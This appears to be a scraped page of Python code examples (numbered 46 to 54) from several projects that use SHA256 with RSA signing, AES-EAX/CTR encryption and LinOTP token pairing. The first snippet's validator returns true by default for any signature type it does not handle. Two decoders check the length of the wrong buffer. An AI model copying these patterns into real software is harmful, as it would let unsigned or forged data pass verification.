            0xeb, 0xb8, 0x79, 0x22, 0x8a, 0x2e, 0xa0, 0x12, 0x1d, 0x42, 0x07,
            0xb6, 0x5d, 0xdb, 0xe1, 0xf6, 0xb1, 0x5d, 0x7b, 0x1f, 0x54, 0x52,
            0x1c, 0xa3, 0x11, 0x9b, 0xf9, 0xeb, 0xbe, 0xb3, 0x95, 0xca, 0xa5,
            0x87, 0x3f, 0x31, 0x18, 0x1a, 0xc9, 0x99, 0x01, 0xec, 0xaa, 0x90,
            0xfd, 0x8a, 0x36, 0x35, 0x5e, 0x12, 0x81, 0xbe, 0x84, 0x88, 0xa1,
            0x0d, 0x19, 0x2a, 0x4a, 0x66, 0xc1, 0x59, 0x3c, 0x41, 0x83, 0x3d,
            0x3d, 0xb8, 0xd4, 0xab, 0x34, 0x90, 0x06, 0x3e, 0x1a, 0x61, 0x74,
            0xbe, 0x04, 0xf5, 0x7a, 0x69, 0x1b, 0x9d, 0x56, 0xfc, 0x83, 0xb7,
            0x60, 0xc1, 0x5e, 0x9d, 0x85, 0x34, 0xfd, 0x02, 0x1a, 0xba, 0x2c,
            0x09, 0x72, 0xa7, 0x4a, 0x5e, 0x18, 0xbf, 0xc0, 0x58, 0xa7, 0x49,
            0x34, 0x46, 0x61, 0x59, 0x0e, 0xe2, 0x6e, 0x9e, 0xd2, 0xdb, 0xfd,
            0x72, 0x2f, 0x3c, 0x47, 0xcc, 0x5f, 0x99, 0x62, 0xee, 0x0d, 0xf3,
            0x1f, 0x30, 0x25, 0x20, 0x92, 0x15, 0x4b, 0x04, 0xfe, 0x15, 0x19,
            0x1d, 0xdc, 0x7e, 0x5c, 0x10, 0x21, 0x52, 0x21, 0x91, 0x54, 0x60,
            0x8b, 0x92, 0x41, 0x02, 0x03, 0x01, 0x00, 0x01
        ])
    if sig_info and sig_info.signature_type == SignatureType.SHA256_WITH_RSA:
        startTime = time()
        pub_key = RSA.import_key(key_bits)
        verifier = pkcs1_15.new(pub_key)
        h = SHA256.new()
        for content in sig.signature_covered_part:
            logging.debug("Hash content {}".format(bytes(content)))
            h.update(content)
        try:
            logging.debug("Signature value {}".format(
                bytes(sig.signature_value_buf)))
            verifier.verify(h, bytes(sig.signature_value_buf))
        except ValueError:
            logging.info(
                f'{Name.to_str(name)} => Unable to verify the signature')
            return False
        logging.debug(f'{Name.to_str(name)} => Verification passed')
        logging.debug("Validation time is {}".format(time() - startTime))

        return True
    else:
        print("Validator return true by default")
        return True
Exemplo n.º 46
0
def executeCommand(command):
    # print(command)
    isForDeposit = False

    # secure command option
    if command[0] == 't':
        isSecure = True
        # OP_GET_READY_FOR_DEPOSIT
        if command[2] == 'v':
            isForDeposit = True
    else:
        isSecure = False
        if command[0] == 'r':
            isForDeposit = True

    split_command = command.split(" ")
    #print(split_command)

    # commnad's last string means message sender
    user = split_command[-1]

    if isSecure:
        # remove 't ' from command
        command = " ".join(split_command[1:-1])
    else:
        command = " ".join(split_command[:-1])

    # encode command
    command = command.encode('utf-8')

    # encryption using ECDSA
    # try:
    #     with open("./key/private_key_{}.pem".format(user)) as f:
    #         sk = ecdsa.SigningKey.from_pem(f.read())
    #     with open("./key/public_key_{}.pem".format(user)) as f:
    #         vk = ecdsa.VerifyingKey.from_pem(f.read())
    # except:
    #     print("no user key")
    #     return None, None

    try:
        with open("./key/private_key_{}.pem".format(user), "rb") as f:
            sk = RSA.import_key(f.read())
        with open("./key/public_key_{}.pem".format(user), "rb") as f:
            vk = RSA.import_key(f.read())
    except:
        print("no user key")
        exit()

    # if isForDeposit:
    #     pubkey = b"\x04" + vk.pubkey.point.x().to_bytes(32, 'big') + vk.pubkey.point.y().to_bytes(32, 'big')
    #     command = command + b" " + pubkey

    # sig = sk.sign(command, hashfunc=hashlib.sha256)
    # # print(command)

    # try:
    #     vk.verify(sig, command, hashfunc=hashlib.sha256)
    #     print("good signature")
    # except:
    #     print("bad signature")

    # message = command + b" " + sig

    if isForDeposit:
        pubkey = (vk.n).to_bytes(384, 'little')
        # pubkey_hex = pubkey.hex()
        # print(pubkey_hex)
        message = command + b" " + pubkey
    else:
        hash = SHA256.new(command)
        # print(hash.digest().hex())
        sig = pkcs1_15.new(sk).sign(hash)
        message = command + b" " + sig

        # try:
        #     pkcs1_15.new(vk).verify(hash, sig)
        # except:
        #     print("bad signature")
        #     exit()

    if isSecure:
        # execute secure_command
        # print("secure command")
        return secure_command(message, user)
        # continue

    # send message to server
    startTime = datetime.now()
    # send command + signature to routee
    client_socket.sendall(message)

    # get response from server
    data = client_socket.recv(1024)
    elapsed = datetime.now() - startTime
    # print(elapsed)

    return data.decode(), elapsed
Exemplo n.º 47
0
 def verify_transaction(transaction):
     public_key = RSA.importKey(binascii.unhexlify(transaction.sender))
     verifier = PKCS1_v1_5.new(public_key)
     h = SHA256.new((str(transaction.sender) + str(transaction.recipient) +
                     str(transaction.amount)).encode('utf8'))
     return verifier.verify(h, binascii.unhexlify(transaction.signature))
Exemplo n.º 48
0
def query(action=None,
          command=None,
          args=None,
          method='GET',
          location=None,
          data=None):
    '''
    Make a web call to Joyent
    '''
    user = config.get_cloud_config_value('user',
                                         get_configured_provider(),
                                         __opts__,
                                         search_global=False)

    if not user:
        log.error(
            'username is required for Joyent API requests. Please set one in your provider configuration'
        )

    password = config.get_cloud_config_value('password',
                                             get_configured_provider(),
                                             __opts__,
                                             search_global=False)

    verify_ssl = config.get_cloud_config_value('verify_ssl',
                                               get_configured_provider(),
                                               __opts__,
                                               search_global=False,
                                               default=True)

    ssh_keyfile = config.get_cloud_config_value('private_key',
                                                get_configured_provider(),
                                                __opts__,
                                                search_global=False,
                                                default=True)

    if not ssh_keyfile:
        log.error(
            'ssh_keyfile is required for Joyent API requests.  Please set one in your provider configuration'
        )

    ssh_keyname = config.get_cloud_config_value('keyname',
                                                get_configured_provider(),
                                                __opts__,
                                                search_global=False,
                                                default=True)

    if not ssh_keyname:
        log.error(
            'ssh_keyname is required for Joyent API requests.  Please set one in your provider configuration'
        )

    if not location:
        location = get_location()

    api_host_suffix = config.get_cloud_config_value(
        'api_host_suffix',
        get_configured_provider(),
        __opts__,
        search_global=False,
        default=JOYENT_API_HOST_SUFFIX)

    path = get_location_path(location=location,
                             api_host_suffix=api_host_suffix)

    if action:
        path += action

    if command:
        path += '/{0}'.format(command)

    log.debug('User: \'%s\' on PATH: %s', user, path)

    if (not user) or (not ssh_keyfile) or (not ssh_keyname) or (not location):
        return None

    timenow = datetime.datetime.utcnow()
    timestamp = timenow.strftime('%a, %d %b %Y %H:%M:%S %Z').strip()
    rsa_key = salt.crypt.get_rsa_key(ssh_keyfile, None)
    if HAS_M2:
        md = EVP.MessageDigest('sha256')
        md.update(timestamp.encode(__salt_system_encoding__))
        digest = md.final()
        signed = rsa_key.sign(digest, algo='sha256')
    else:
        rsa_ = PKCS1_v1_5.new(rsa_key)
        hash_ = SHA256.new()
        hash_.update(timestamp.encode(__salt_system_encoding__))
        signed = rsa_.sign(hash_)
    signed = base64.b64encode(signed)
    keyid = '/{0}/keys/{1}'.format(user.split('/')[0], ssh_keyname)

    headers = {
        'Content-Type':
        'application/json',
        'Accept':
        'application/json',
        'X-Api-Version':
        JOYENT_API_VERSION,
        'Date':
        timestamp,
        'Authorization':
        'Signature keyId="{0}",algorithm="rsa-sha256" {1}'.format(
            keyid, signed.decode(__salt_system_encoding__)),
    }

    if not isinstance(args, dict):
        args = {}

    # post form data
    if not data:
        data = salt.utils.json.dumps({})

    return_content = None
    result = salt.utils.http.query(
        path,
        method,
        params=args,
        header_dict=headers,
        data=data,
        decode=False,
        text=True,
        status=True,
        headers=True,
        verify_ssl=verify_ssl,
        opts=__opts__,
    )
    log.debug('Joyent Response Status Code: %s', result['status'])
    if 'headers' not in result:
        return [result['status'], result['error']]

    if 'Content-Length' in result['headers']:
        content = result['text']
        return_content = salt.utils.yaml.safe_load(content)

    return [result['status'], return_content]
Exemplo n.º 49
0
    def create_challenge_url(self,
                             transaction_id,
                             content_type,
                             callback_url='',
                             message=None,
                             login=None,
                             host=None):
        """
        creates a challenge url (looking like lseqr://push/<base64string>),
        returns the url and the unencrypted challenge data

        :param transaction_id: The transaction id generated by LinOTP

        :param content_type: One of the types CONTENT_TYPE_SIGNREQ,
            CONTENT_TYPE_PAIRING, CONTENT_TYPE_LOGIN

        :param callback_url: callback url (optional), default is
            empty string

        :param message: the transaction message, that should be signed
            by the client. Only for content type CONTENT_TYPE_SIGNREQ

        :param login: the login name of the user. Only for content type
            CONTENT_TYPE_LOGIN

        :param host: hostname of the user. Only for content type
            CONTENT_TYPE_LOGIN

        :returns: tuple (challenge_url, sig_base), with challenge_url being
            the push url and sig_base the message, that is used for
            the client signature
        """

        serial = self.getSerial()

        # ------------------------------------------------------------------- --

        # sanity/format checks

        if content_type not in [
                CONTENT_TYPE_SIGNREQ, CONTENT_TYPE_PAIRING, CONTENT_TYPE_LOGIN
        ]:
            raise InvalidFunctionParameter(
                'content_type', 'content_type must '
                'be CONTENT_TYPE_SIGNREQ, '
                'CONTENT_TYPE_PAIRING or '
                'CONTENT_TYPE_LOGIN.')

        # ------------------------------------------------------------------- --

        #  after the lseqr://push/ prefix the following data is encoded
        #  in urlsafe base64:

        #            ---------------------------------------------------
        #  fields   | version | user token id |  R  | ciphertext | sign |
        #            ---------------------------------------------------
        #           |          header         |          body           |
        #            ---------------------------------------------------
        #  size     |    1    |       4       |  32 |      ?     |  64  |
        #            ---------------------------------------------------
        #

        # create header

        user_token_id = self.getFromTokenInfo('user_token_id')
        data_header = struct.pack('<bI', CHALLENGE_URL_VERSION, user_token_id)

        # ------------------------------------------------------------------- --

        # create body

        r = urandom(32)
        R = calc_dh_base(r)

        b64_user_dsa_public_key = self.getFromTokenInfo('user_dsa_public_key')
        user_dsa_public_key = b64decode(b64_user_dsa_public_key)
        user_dh_public_key = dsa_to_dh_public(user_dsa_public_key)

        ss = calc_dh(r, user_dh_public_key)
        U = SHA256.new(ss).digest()
        zerome(ss)

        sk = U[0:16]
        nonce = U[16:32]
        zerome(U)

        # ------------------------------------------------------------------- --

        # create plaintext section

        # ------------------------------------------------------------------- --

        # generate plaintext header

        #            ------------------------------------------------
        #  fields   | content_type  | transaction_id | timestamp | ..
        #            ------------------------------------------------
        #  size     |       1       |        8       |     8     |  ?
        #            -------------------------------------------------

        transaction_id = transaction_id_to_u64(transaction_id)
        plaintext = struct.pack('<bQQ', content_type, transaction_id,
                                int(time.time()))

        # ------------------------------------------------------------------- --

        utf8_callback_url = callback_url.encode('utf8')

        # enforce max url length as specified in protocol

        if len(utf8_callback_url) > 511:
            raise InvalidFunctionParameter(
                'callback_url', 'max string '
                'length (encoded as utf8) is '
                '511')

        # ------------------------------------------------------------------- --

        # create data package depending on content type

        # ------------------------------------------------------------------- --

        if content_type == CONTENT_TYPE_PAIRING:

            #            -----------------------------------------
            #  fields   | header | serial | NUL | callback | NUL |
            #            -----------------------------------------
            #  size     |   9    |    ?   |  1  |     ?    |  1  |
            #            -----------------------------------------

            utf8_serial = serial.encode('utf8')

            if len(utf8_serial) > 63:
                raise ValueError('serial (encoded as utf8) can only be 63 '
                                 'characters long')

            plaintext += utf8_serial + b'\00' + utf8_callback_url + b'\00'

        # ------------------------------------------------------------------- --

        if content_type == CONTENT_TYPE_SIGNREQ:

            if message is None:
                raise InvalidFunctionParameter(
                    'message', 'message must be '
                    'supplied for content type '
                    'SIGNREQ')

            #            ------------------------------------------
            #  fields   | header | message | NUL | callback | NUL |
            #            ------------------------------------------
            #  size     |   9    |    ?    |  1  |     ?    |  1  |
            #            ------------------------------------------

            utf8_message = message.encode('utf8')

            # enforce max sizes specified by protocol

            if len(utf8_message) > 511:
                raise InvalidFunctionParameter(
                    'message', 'max string '
                    'length (encoded as utf8) is '
                    '511')

            plaintext += utf8_message + b'\00' + utf8_callback_url + b'\00'

        # ------------------------------------------------------------------- --

        if content_type == CONTENT_TYPE_LOGIN:

            if login is None:
                raise InvalidFunctionParameter(
                    'login', 'login must be '
                    'supplied for content type '
                    'LOGIN')
            if host is None:
                raise InvalidFunctionParameter(
                    'host', 'host must be '
                    'supplied for content type '
                    'LOGIN')

            #            -----------------------------------------------------
            #  fields   | header | login | NUL | host | NUL | callback | NUL |
            #            -----------------------------------------------------
            #  size     |   9    |   ?   |  1  |   ?  |  1  |     ?    |  1  |
            #            -----------------------------------------------------

            utf8_login = login.encode('utf8')
            utf8_host = host.encode('utf8')

            # enforce max sizes specified by protocol

            if len(utf8_login) > 127:
                raise InvalidFunctionParameter(
                    'login', 'max string '
                    'length (encoded as utf8) is '
                    '127')
            if len(utf8_host) > 255:
                raise InvalidFunctionParameter(
                    'host', 'max string '
                    'length (encoded as utf8) is '
                    '255')

            plaintext += utf8_login + b'\00'
            plaintext += utf8_host + b'\00'
            plaintext += utf8_callback_url + b'\00'

        # ------------------------------------------------------------------- --

        # encrypt inner layer

        nonce_as_int = int_from_bytes(nonce, byteorder='big')
        ctr = Counter.new(128, initial_value=nonce_as_int)
        cipher = AES.new(sk, AES.MODE_CTR, counter=ctr)
        ciphertext = cipher.encrypt(plaintext)
        unsigned_raw_data = data_header + R + ciphertext

        # ------------------------------------------------------------------- --

        # create signature

        partition = self.getFromTokenInfo('partition')
        secret_key = get_secret_key(partition)
        signature = crypto_sign_detached(unsigned_raw_data, secret_key)
        raw_data = unsigned_raw_data + signature

        url = 'lseqr://push/' + encode_base64_urlsafe(raw_data)

        return url, (signature + plaintext)
Exemplo n.º 50
0
    def create_pairing_response(public_key: bytes,
                                secret_key: bytes,
                                token_info: Dict,
                                gda: str = 'DEADBEEF') -> str:
        """Creates a base64-encoded pairing response.

        :param public_key: the public key in bytes
        :param secret_key: the secret key in bytes
        :param token_info: the token_info dict
        :param user_token_id: the token id
        :param gda: the mobile device gda

        :returns base64 encoded pairing response
        """

        token_serial = token_info['serial']
        token_id = token_info.get('token_id', 1)
        server_public_key = token_info['server_public_key']
        partition = token_info['partition']

        # ------------------------------------------------------------------ --

        # assemble header and plaintext

        header = struct.pack('<bI', PAIR_RESPONSE_VERSION, partition)

        pairing_response = b''
        pairing_response += struct.pack('<bI', TYPE_PUSHTOKEN, token_id)

        pairing_response += public_key

        pairing_response += token_serial.encode('utf8') + b'\x00\x00'
        pairing_response += gda.encode('utf-8') + b'\x00'

        signature = crypto_sign_detached(pairing_response, secret_key)
        pairing_response += signature

        # ------------------------------------------------------------------ --

        # create public diffie hellman component
        # (used to decrypt and verify the reponse)

        r = os.urandom(32)
        R = calc_dh_base(r)

        # ------------------------------------------------------------------ --

        # derive encryption key and nonce

        server_public_key_dh = dsa_to_dh_public(server_public_key)
        ss = calc_dh(r, server_public_key_dh)
        U = SHA256.new(ss).digest()
        encryption_key = U[0:16]
        nonce = U[16:32]

        # ------------------------------------------------------------------ --

        # encrypt in EAX mode

        cipher = AES.new(encryption_key, AES.MODE_EAX, nonce)
        cipher.update(header)
        ciphertext, tag = cipher.encrypt_and_digest(pairing_response)

        return encode_base64_urlsafe(header + R + ciphertext + tag)
Exemplo n.º 51
0
    def create_challenge_url(self, transaction_id, content_type, message,
                             callback_url, callback_sms_number,
                             use_compression=False, reset_url=False):
        """
        creates a challenge url (looking like lseqr://chal/<base64string>)
        from a challenge dictionary as provided by Challanges.create_challenge
        in lib.challenge

        the version identifier of the challenge url is currently hardcoded
        to 1.
        """

        serial = self.getSerial()

        if content_type is None:
            content_type = CONTENT_TYPE_FREE

        # ----------------------------------------------------------------------

        # sanity/format checks

        if content_type not in [CONTENT_TYPE_PAIRING,
                                CONTENT_TYPE_AUTH, CONTENT_TYPE_FREE]:
            raise InvalidFunctionParameter('content_type', 'content_type must '
                                           'be CONTENT_TYPE_PAIRING, '
                                           'CONTENT_TYPE_AUTH or '
                                           'CONTENT_TYPE_FREE.')

        if content_type == CONTENT_TYPE_PAIRING and \
           message != serial:
            raise InvalidFunctionParameter('message', 'message must be equal '
                                           'to serial in pairing mode')

        if content_type == CONTENT_TYPE_AUTH:
            if '@' not in message:
                raise InvalidFunctionParameter('message', 'For content type '
                                               'auth, message must have format '
                                               '<login>@<server>')

        # ----------------------------------------------------------------------

        #  after the lseqr://chal/ prefix the following data is encoded
        #  in urlsafe base64:

        #            ---------------------------------------------------
        #  fields   | version | user token id |  R  | ciphertext | MAC |
        #            ---------------------------------------------------
        #           |          header         |     |    EAX enc data  |
        #            ---------------------------------------------------
        #  size     |    1    |       4       |  32 |      ?     | 16  |
        #            ---------------------------------------------------
        #

        r = urandom(32)
        R = calc_dh_base(r)

        user_token_id = self.getFromTokenInfo('user_token_id')
        data_header = struct.pack('<bI', QRTOKEN_VERSION, user_token_id)

        # the user public key is saved as base64 in
        # the token info since the byte format is
        # incompatible with the json backend.

        b64_user_public_key = self.getFromTokenInfo('user_public_key')
        user_public_key = b64decode(b64_user_public_key)

        ss = calc_dh(r, user_public_key)
        U1 = SHA256.new(ss).digest()
        U2 = SHA256.new(U1).digest()
        zerome(ss)

        skA = U1[0:16]
        skB = U2[0:16]
        nonce = U2[16:32]
        zerome(U1)
        zerome(U2)

        # ----------------------------------------------------------------------

        # create plaintext section

        # ----------------------------------------------------------------------

        # create the bitmap for flags

        flags = 0

        if use_compression:
            flags |= CHALLENGE_HAS_COMPRESSION

        # FIXME: sizecheck for message, callback url, sms number
        # wiki specs are utf-8 byte length (without \0)

        if callback_url is not None:
            flags |= CHALLENGE_HAS_URL

        if callback_sms_number is not None:
            flags |= CHALLENGE_HAS_SMS_NUMBER

        if (content_type == CONTENT_TYPE_PAIRING):
            flags |= CHALLENGE_HAS_SIGNATURE

        if reset_url:
            flags |= CHALLENGE_SHOULD_RESET_URL
            flags |= CHALLENGE_HAS_SIGNATURE

        #----------------------------------------------------------------------

        # generate plaintext header

        #            ----------------------------------------------
        #  fields   | content_type  | flags | transaction_id | ... |
        #            ----------------------------------------------
        #  size     |       1       |   1   |        8       |  ?  |
        #            ----------------------------------------------

        transaction_id = transaction_id_to_u64(transaction_id)
        pt_header = struct.pack('<bbQ', content_type, flags, transaction_id)
        plaintext = pt_header

        #----------------------------------------------------------------------

        # create data package

        #            -------------------------------
        #  fields   | header  | message | NUL | ... |
        #            -------------------------------
        #  size     |   10    |    ?    |  1  |  ?  |
        #            -------------------------------

        data_package = b''
        utf8_message = message.encode('utf8')

        # enforce max sizes specified by protocol

        if content_type == CONTENT_TYPE_FREE and len(utf8_message) > 511:
            raise ParameterError('message (encoded as utf8) can only be 511 '
                                 'characters long')

        elif content_type == CONTENT_TYPE_PAIRING and len(utf8_message) > 63:
            raise InvalidFunctionParameter('message', 'max string length '
                                           '(encoded as utf8) is 511 for '
                                           'content type PAIRING')

        elif content_type == CONTENT_TYPE_AUTH and len(utf8_message) > 511:
            raise InvalidFunctionParameter('message', 'max string length '
                                           '(encoded as utf8) is 511 for '
                                           'content type AUTH')

        data_package += utf8_message + b'\x00'

        # ----------------------------------------------------------------------

        # depending on function parameters add callback url
        # and/or callback sms number

        #            -----------------------------------------------------
        #  fields   | ... | callback url | NUL | callback sms | NUL | ... |
        #            -----------------------------------------------------
        #  size     |  ?  |       ?      |  1  |       ?      |  1  |  ?  |
        #            -----------------------------------------------------

        # ----------------------------------------------------------------------

        if callback_url is not None:

            utf8_callback_url = callback_url.encode('utf8')

            # enforce max url length as specified in protocol

            if len(utf8_callback_url) > 511:
                raise InvalidFunctionParameter('callback_url', 'max string '
                                               'length (encoded as utf8) is '
                                               '511')

            data_package += utf8_callback_url + b'\x00'

        # ----------------------------------------------------------------------

        if callback_sms_number is not None:

            utf8_callback_sms_number = callback_sms_number.encode('utf8')

            if len(utf8_callback_sms_number) > 31:
                raise InvalidFunctionParameter('callback_sms_number',
                                               'max string length (encoded '
                                               'as utf8) is 31')

            data_package += utf8_callback_sms_number + b'\x00'

        # ----------------------------------------------------------------------

        if use_compression:
            maybe_compressed_data_package = zlib.compress(data_package, 9)
        else:
            maybe_compressed_data_package = data_package

        # ----------------------------------------------------------------------

        # when content type is pairing the protocol specifies that
        # the server must send a hmac based signature with the
        # response

        sig = ''

        if flags & CHALLENGE_HAS_SIGNATURE:

            hmac_message = nonce + pt_header + maybe_compressed_data_package

            sig = HMAC.new(self.server_hmac_secret, hmac_message,
                           digestmod=SHA256).digest()

            plaintext += sig

        # ----------------------------------------------------------------------

        plaintext += maybe_compressed_data_package

        # ----------------------------------------------------------------------

        user_message = nonce + pt_header + sig + data_package
        user_sig = HMAC.new(skB, user_message, digestmod=SHA256).digest()

        # the user sig will be given as urlsafe base64 in the
        # challenge response. for this reasons (and because we
        # need to serialize it into json) we convert the user_sig
        # into this format.

        user_sig = encode_base64_urlsafe(user_sig)

        # ----------------------------------------------------------------------

        cipher = AES.new(skA, AES.MODE_EAX, nonce)
        cipher.update(data_header)
        ciphertext, tag = cipher.encrypt_and_digest(plaintext)

        raw_data = data_header + R + ciphertext + tag
        url = 'lseqr://chal/' + encode_base64_urlsafe(raw_data)

        return url, user_sig
Exemplo n.º 52
0
def decrypt_pairing_response(enc_pairing_response):

    """
    Parses and decrypts a pairing response into a named tuple PairingResponse
    consisting of

    * user_public_key - the user's public key
    * user_token_id   - an id for the client to uniquely identify the token.
                        this id is necessary, because the client could
                        communicate with more than one linotp, so serials
                        could overlap.
    * serial - the serial identifying the token in linotp
    * user_login - the user login name

    It is possible that either user_login or serial is None. Both
    being None is a valid response according to this function but
    will be considered an error in the calling method.

    The following parameters are needed:

    :param enc_pairing_response:
        The urlsafe-base64 encoded string received from the client

    The following exceptions can be raised:

    :raises ParameterError:
        If the pairing response has an invalid format

    :raises ValueError:
        If the pairing response has a different version
        than this implementation (currently hardcoded)

    :raises ValueError:
        If the pairing response indicates a different
        token type than QRToken (also hardcoded)

    :raises ValueError:
        If the pairing response field "partition" is not
        identical to the field "token_type"
        ("partition" is currently used for the token
        type id. It is reserved for multiple key usage
        in a future implementation.)

    :raises ValueError:
        If the MAC of the response didn't match

    :return:
        Parsed/decrypted PairingReponse
    """

    data = decode_base64_urlsafe(enc_pairing_response)

    # ---------------------------------------------------------------------- --

    #            ------------------------------------------- --
    #  fields   | version | partition | R  | ciphertext | MAC |
    #            ------------------------------------------- --
    #  size     |    1    |     4     | 32 |      ?     | 16  |
    #            ------------------------------------------- --

    if len(data) < 1 + 4 + 32 + 16:
        raise ParameterError('Malformed pairing response')

    # ---------------------------------------------------------------------- --

    # parse header

    header = data[0:5]
    version, partition = struct.unpack('<bI', header)

    if version != PAIR_RESPONSE_VERSION:
        raise ValueError('Unexpected pair-response version, '
                         'expected: %d, got: %d' %
                         (PAIR_RESPONSE_VERSION, version))

    # ---------------------------------------------------------------------- --

    R = data[5:32+5]
    ciphertext = data[32+5:-16]
    mac = data[-16:]

    # ---------------------------------------------------------------------- --

    # calculate the shared secret

    # - --

    secret_key = get_dh_secret_key(partition)
    ss = calc_dh(secret_key, R)

    # derive encryption key and nonce from the shared secret
    # zero the values from memory when they are not longer needed
    U = SHA256.new(ss).digest()
    zerome(ss)
    encryption_key = U[0:16]
    nonce = U[16:32]
    zerome(U)

    # decrypt response
    cipher = AES.new(encryption_key, AES.MODE_EAX, nonce)
    cipher.update(header)
    plaintext = cipher.decrypt_and_verify(ciphertext, mac)
    zerome(encryption_key)

    # ---------------------------------------------------------------------- --

    # check format boundaries for type peaking
    # (token type specific length boundaries are checked
    #  in the appropriate functions)

    plaintext_min_length = 1
    if len(data) < plaintext_min_length:
        raise ParameterError('Malformed pairing response')

    # ---------------------------------------------------------------------- --

    # get token type and parse decrypted response

    #            -------------------- --
    #  fields   | token type |   ...   |
    #            -------------------- --
    #  size     |     1      |    ?    |
    #            -------------------- --

    token_type = struct.unpack('<b', plaintext[0])[0]

    if token_type not in SUPPORTED_TOKEN_TYPES:
        raise ValueError('unsupported token type %d, supported types '
                         'are %s' % (token_type, SUPPORTED_TOKEN_TYPES))

    # ---------------------------------------------------------------------- --

    # delegate the data parsing of the plaintext
    # to the appropriate function and return the result

    data_parser = get_pairing_data_parser(token_type)
    pairing_data = data_parser(plaintext)
    zerome(plaintext)

    # get the appropriate high level type

    try:
        token_type_as_str = INV_TOKEN_TYPES[token_type]
    except KeyError:
        raise ProgrammingError('token_type %d is in SUPPORTED_TOKEN_TYPES',
                               'however an appropriate mapping entry in '
                               'TOKEN_TYPES is missing' % token_type)

    return PairingResponse(token_type_as_str, pairing_data)
Exemplo n.º 53
0
def decrypt_pairing_response(enc_pairing_response):

    """
    Parses and decrypts a pairing response into a named tuple PairingResponse
    consisting of

    * user_public_key - the user's public key
    * user_token_id   - an id for the client to uniquely identify the token.
                        this id is necessary, because the client could
                        communicate with more than one linotp, so serials
                        could overlap.
    * serial - the serial identifying the token in linotp
    * user_login - the user login name

    It is possible that either user_login or serial is None. Both
    being None is a valid response according to this function but
    will be considered an error in the calling method.

    The following parameters are needed:

    :param enc_pairing_response:
        The urlsafe-base64 encoded string received from the client

    The following exceptions can be raised:

    :raises ParameterError:
        If the pairing response has an invalid format

    :raises ValueError:
        If the pairing response has a different version
        than this implementation (currently hardcoded)

    :raises ValueError:
        If the pairing response indicates a different
        token type than QRToken (also hardcoded)

    :raises ValueError:
        If the MAC of the response didn't match

    :return:
        Parsed/encrpted PairingReponse
    """

    data = decode_base64_urlsafe(enc_pairing_response)

    # --------------------------------------------------------------------------

    #            -----------------------
    #  fields   | R  | ciphertext | MAC |
    #            -----------------------
    #  size     | 32 |      ?     | 16  |
    #            -----------------------

    if len(data) < 32 + 16:
        raise ParameterError('Malformed pairing response')

    R = data[0:32]
    ciphertext = data[32:-16]
    mac = data[-16:]

    # --------------------------------------------------------------------------

    # calculate the shared secret

    # ----

    secret_key = get_qrtoken_secret_key()
    ss = calc_dh(secret_key, R)

    # derive encryption key and nonce from the shared secret
    # zero the values from memory when they are not longer needed
    U = SHA256.new(ss).digest()
    zerome(ss)
    encryption_key = U[0:16]
    nonce = U[16:32]
    zerome(U)

    # decrypt response
    cipher = AES.new(encryption_key, AES.MODE_EAX, nonce)
    plaintext = cipher.decrypt_and_verify(ciphertext, mac)

    # --------------------------------------------------------------------------

    # parse decrypted response

    # ----

    plaintext_min_length = 1 + 1 + 4 + 32 + 1
    if len(data) < plaintext_min_length:
        raise ParameterError('Malformed pairing response')

    # Parse Pairing Reponse Header (First 6 Bytes)

    #            -------------------------------------------
    #  fields   | version  | type | user token id |   ...   |
    #            -------------------------------------------
    #  size     |    1     |  1   |       4       |    ?    |
    #            -------------------------------------------

    resp_header = plaintext[0:6]
    version, token_type, user_token_id = struct.unpack('<bbI', resp_header)

    if version != 0:
        raise ValueError('Unexpected pair-response version, '
                         'expected: %d, got: %d' % (0, version))

    if token_type != 2:
        raise ValueError('wrong token type in user response, '
                         'expected: %d, got: %d' % (2, token_type))

    # --------------------------------------------------------------------------

    # get user public key (next 32 bytes)

    #            -----------------------------
    #  fields   | ... | user public key | ... |
    #            -----------------------------
    #  size     |  6  |       32        |  ?  |
    #            -----------------------------

    user_public_key = plaintext[6:6+32]

    # --------------------------------------------------------------------------

    # get serial and/or user login

    #            ---------------------------------
    #  fields   | ... | serial | NUL | user login |
    #            ---------------------------------
    #  size     | 38  |   ?    |  1  |     ?      |
    #            ---------------------------------

    # parse token_serial and user identification

    serial_user_data = plaintext[6+32:].split(b'\x00')
    serial = serial_user_data[0].decode('utf8')
    user_login = serial_user_data[1].decode('utf8')

    return PairingResponse(user_public_key, user_token_id, serial, user_login)
Exemplo n.º 54
0
 def sign(self, message: bytes) -> bytes:
     self.assert_initialized()
     h = SHA256.new(message)
     return pkcs1_15.new(self.private_key).sign(h) # type: ignore